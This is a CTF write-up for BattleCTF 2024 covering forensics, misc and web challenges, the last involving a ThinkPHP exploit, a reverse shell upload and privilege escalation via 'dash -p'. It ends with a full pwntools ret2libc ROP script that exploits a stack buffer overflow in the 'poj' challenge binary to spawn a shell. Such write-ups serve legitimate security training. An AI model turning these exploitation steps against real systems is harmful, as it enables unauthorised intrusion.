BattleCTF
Challenges solved
- Do[ro x2] (Forensics)
- Hmmmm!… (Web)
- Rules (Misc)
- Invite Code (Misc)
- poj
Do[ro x2]
We are provided with an AD1 Evidence File. Opening up the file in FTK Imager
We are prompted to provide a password, after a lot of guessed passwords. I decided to look at the challenge name and use Dororo as the password i.e (Do[ro x2]) which worked
Inputing the correct password, getting the flag was easy
Hmmmm!…
After some digging i noticed the site has a vulnerable thinkphp
so looking for exploits this worked
the next thing is for me to get a reversrse shell
i upload a shell.sh shell.sh file and executed it

For privilege escalation i did ```dash -p``` and got root

## Rules
Going over to the discord channel and checking the #announcement page gives the flag
```Flag: battleCTF{HereWeGo}```
## Invite Code
We were given an hex, and after decoding the hex we got
```UWNYZ1c5dzR3UWQvZWIudXR1b3kvLzpzcHR0aA=https://bugpwn.com/invite.ini```
we only need the url, the base64 is just a yotube link to a rick roll video or so
checking the link i got this
```H4sIAKvQ/2YC/02TW08bQQyFn+FXHCKk9iXN3C9SEjS7MytVlIsAqUKKVC1JgJRk0yahTf997VC1fUBMduzj48+eh3eTfTud7OezyV4I+rO795N90MOz/WqJH/PNdrHuRj35QfQw76br2aJ7GvVed4/90MN213azdrnu5qNet+7hbHw8PMlX9d39dcHrlpJxe397Vy5AF2+/V+1+1AuyNz4+Onyhm6Oj4XL9tOi6djUfP7S73XI+3T0OB/8+csi3drv9ud7MxqeqPZXqdD59Xcjl3eri8/nNxY35OjPm5fHq5XoflvP2k9id18/d5WJmlpfp4XkzuH++vt5/Hw7+yrCmmW6+UFObX992Y2FhGygHbxArhIzsISJMRKngJKKBzRAePkNqpIQS4C3qDJcgC3yEVMiHc6BbD9WwZiY1j2IgSFNxLp2DQimQAqlG8tAJFQUbVArJIFloh5KgakgHIRAiUkEVoBREhcZCBtQJQkMr1HR2cBVsQBAoNbyA93CF020N67iia5Ayp9cWkW6ptciapnDpKBAtqgomo2T2HCNiYGMkmA2K4r6oC0r3jkuzKwcpkSp4DeeRBDMhq7pGoHYcQ1OSg73kWjlyjCakZFvAVn+gkckouaiMcBriwIHCBBkjA4Kdk7ImZWKu0VAi9VtQEw3SSYwxVMjNARcdyADhItsNGsO068JVSLPRUILh1wpWcYr1PBobWZBKGIdMIpZjuMeaN4FGT1LUOw8u83Dpig5Bw0rmT1I68HxV4nQq4Wgomb9XtD+aDTMKd+jIss/KMzoteMcItW+4HZqg9LwANDuqSGBpKOTNCd4cc+iXBlFlNA2bTBLaM2eaIyEljFGhoXEHdss2AjNnPsShGg7+33t6hwN+iPRCD/+348lm0g1P+n28vcX6jramuflIy6YE4ez3DxG/AVECNBs5BAAA```
I noticed that it was a base64 encoded zip file
decoding and extracting the zip file i got this
```xml
<?xml version="1.0" encoding="utf-8" standalone="no" ?>
<!DOCTYPE users SYSTEM >
<users max="81">
<user >
<loginname>battlectf</loginname>
<password>$2a$12$ecui1lTmMWKRMR4jd44kfOkPx8leaL0tKChnNid4lNAbhr/YhPPxq</password>
<4cr_encrypt>05 5F 26 74 9B 8D D7 09 49 EB 61 94 5D 07 7D 13 AA E8 75 CD 6A 1E 79 12 DA 1E 8A E7 2F 5F DB 87 E4 0D D2 13 E4 82 EE 10 AC A7 3A BF 54 B2 A4 A5 36 EA 2C 16 00 89 AE B8 22 0B F5 18 CA 03 32 C8 C6 6B 58 80 EC 70 77 6E 16 5C 56 82 6F AD 0B C5 97 69 E9 B8 4E 54 90 95 BB 4D ED 87 99 98 BF EC D4 E2 8A 0D C5 76 03 89 A6 11 AB 73 67 A0 75 AE 3C 84 B6 5D 21 03 71 B8 D9 A0 3B 62 C0 5B 12 DA 5C 91 87 19 63 02 A4 3B 04 9F E0 AD 75 3E 35 C3 FB 1B 5E CB F0 5A A7 8B DF 00 8B DC 88 24 EF F4 EE CE 5C 3B F3 20 10 C2 52 DF 57 D2 59 5E 3E 46 D0 85 10 89 AC 09 07 EF C5 EE 1D 2F 89 1D 83 51 C6 52 38 13 2A D0 20 66 6D 52 B1 93 1B 21 06 9F E5 00 B7 AB 30 EB 98 7F CB 80 17 36 16 EF 73 BB 59 60 E4 4B F0 8A BD FF 85 A1 37 5D 4E C0 91 92 F2 68 C5 20 68 A0 A7 84 EB</4cr_encrypt>
</user>
</users>\r\n<!-- battleCTF AFRICA 2024 -->\r\n
The last one looks like some sort of encryption rc4_encrypt so we can assume that we need to rc4 decrypt that hex value, but that requires the key
Since there’s also a password hash we can assume that the rc4 key is the password plaintext value From this I used JTR to crack the hash and that took time but yea it cracks!
The password is nohara At this point I just looked for a rc4 decrypt implementation in python and got this[https://pycryptodome.readthedocs.io/en/latest/src/cipher/arc4.html]
So we just need to call the ARC4 class with the password and use the decrypt function
Doing that I got the decoded message
1
2
3
4
5
6
7
from arc4 import ARC4
password = "nohara".encode()
arc4 = ARC4(password)
ct = bytes.fromhex("05 5F 26 74 9B 8D D7 09 49 EB 61 94 5D 07 7D 13 AA E8 75 CD 6A 1E 79 12 DA 1E 8A E7 2F 5F DB 87 E4 0D D2 13 E4 82 EE 10 AC A7 3A BF 54 B2 A4 A5 36 EA 2C 16 00 89 AE B8 22 0B F5 18 CA 03 32 C8 C6 6B 58 80 EC 70 77 6E 16 5C 56 82 6F AD 0B C5 97 69 E9 B8 4E 54 90 95 BB 4D ED 87 99 98 BF EC D4 E2 8A 0D C5 76 03 89 A6 11 AB 73 67 A0 75 AE 3C 84 B6 5D 21 03 71 B8 D9 A0 3B 62 C0 5B 12 DA 5C 91 87 19 63 02 A4 3B 04 9F E0 AD 75 3E 35 C3 FB 1B 5E CB F0 5A A7 8B DF 00 8B DC 88 24 EF F4 EE CE 5C 3B F3 20 10 C2 52 DF 57 D2 59 5E 3E 46 D0 85 10 89 AC 09 07 EF C5 EE 1D 2F 89 1D 83 51 C6 52 38 13 2A D0 20 66 6D 52 B1 93 1B 21 06 9F E5 00 B7 AB 30 EB 98 7F CB 80 17 36 16 EF 73 BB 59 60 E4 4B F0 8A BD FF 85 A1 37 5D 4E C0 91 92 F2 68 C5 20 68 A0 A7 84 EB")
print(arc4.decrypt(ct).decode())
Flag: battleCTF{pwn2live_d7c51d9effacfe021fa0246e031c63e9116d8366875555771349d96c2cf0a60b}
poj
Decompiling the binary
main()
1
2
3
4
5
6
__int64 __fastcall main(int a1, char **a2, char **a3)
{
write(1, "Africa battle CTF 2024\n", 0x17uLL);
printf("Write() address : %p\n", &write);
return sub_115C();
}
it gives a libc leak for the write function then calls function sub_115C
sub_115c()
1
2
3
4
5
6
ssize_t sub_115C()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
return read(0, buf, 0x100uLL);
}
buffer overflow because it’s reading at most 0x100 bytes into a buffer that can only hold up 64 bytes of data
From this point to get the libc base we just subtract the libc leak of write with the offset of write@libc
And with the libc base we can just go ahead with ROP
Since i couldnt debug remotely i just went ahead exploiting it on the remote instance
Solve Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './poj_patched'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
rop = ROP(elf)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
libc = ELF("libc.so.6")
rop = ROP(libc)
# Start program
io = start()
io.recvuntil(b'Write() address : ')
leak = io.recvline().strip()
leak_address = int(leak, 16)
libc_base = leak_address - 0xff4d0
libc.address = libc_base
print("libc_base: ", hex(libc_base))
system = libc_base + 0x4dab0
binsh = libc_base + 0x197e34
pop_rdi_jmp_rax = 0x28215 #: pop rdi; jmp rax;
pop_rax = 0x114d #pop rax; ret;
binsh = libc_base + 0x197e34
system = libc_base + 0x4dab0
ret = 0x2668c
pop_rdi = 0x28215
payload = b'A' * 72
payload += p64(libc_base + pop_rdi)
payload += p64(binsh)
payload += p64(libc_base + ret)
payload += p64(system)
io.clean()
io.sendline(payload)
# Got Shell?
io.interactive()
